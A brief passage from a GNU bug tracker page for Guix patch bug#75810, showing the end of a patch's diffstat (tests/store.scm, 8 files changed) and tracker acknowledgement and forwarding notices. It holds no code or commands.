 tests/store.scm             |  89 ++++++++++++++----------
 8 files changed, 300 insertions(+), 97 deletions(-)


base-commit: bc6769f1211104dbc9341c064275cd930f5dfa3a
-- 
2.47.1





Acknowledgement sent to Ludovic Courtès <ludo@HIDDEN>:
New bug report received and forwarded. Copy sent to guix-patches@HIDDEN. Full text available.
Report forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.
Please note: This is a static page, with minimal formatting, updated once a day.
Click here to see this page with the latest information and nicer formatting.
Last modified: Sat, 22 Mar 2025 16:00:03 UTC

GNU bug tracking system
Copyright (C) 1999 Darren O. Benham, 1997 nCipher Corporation Ltd, 1994-97 Ian Jackson.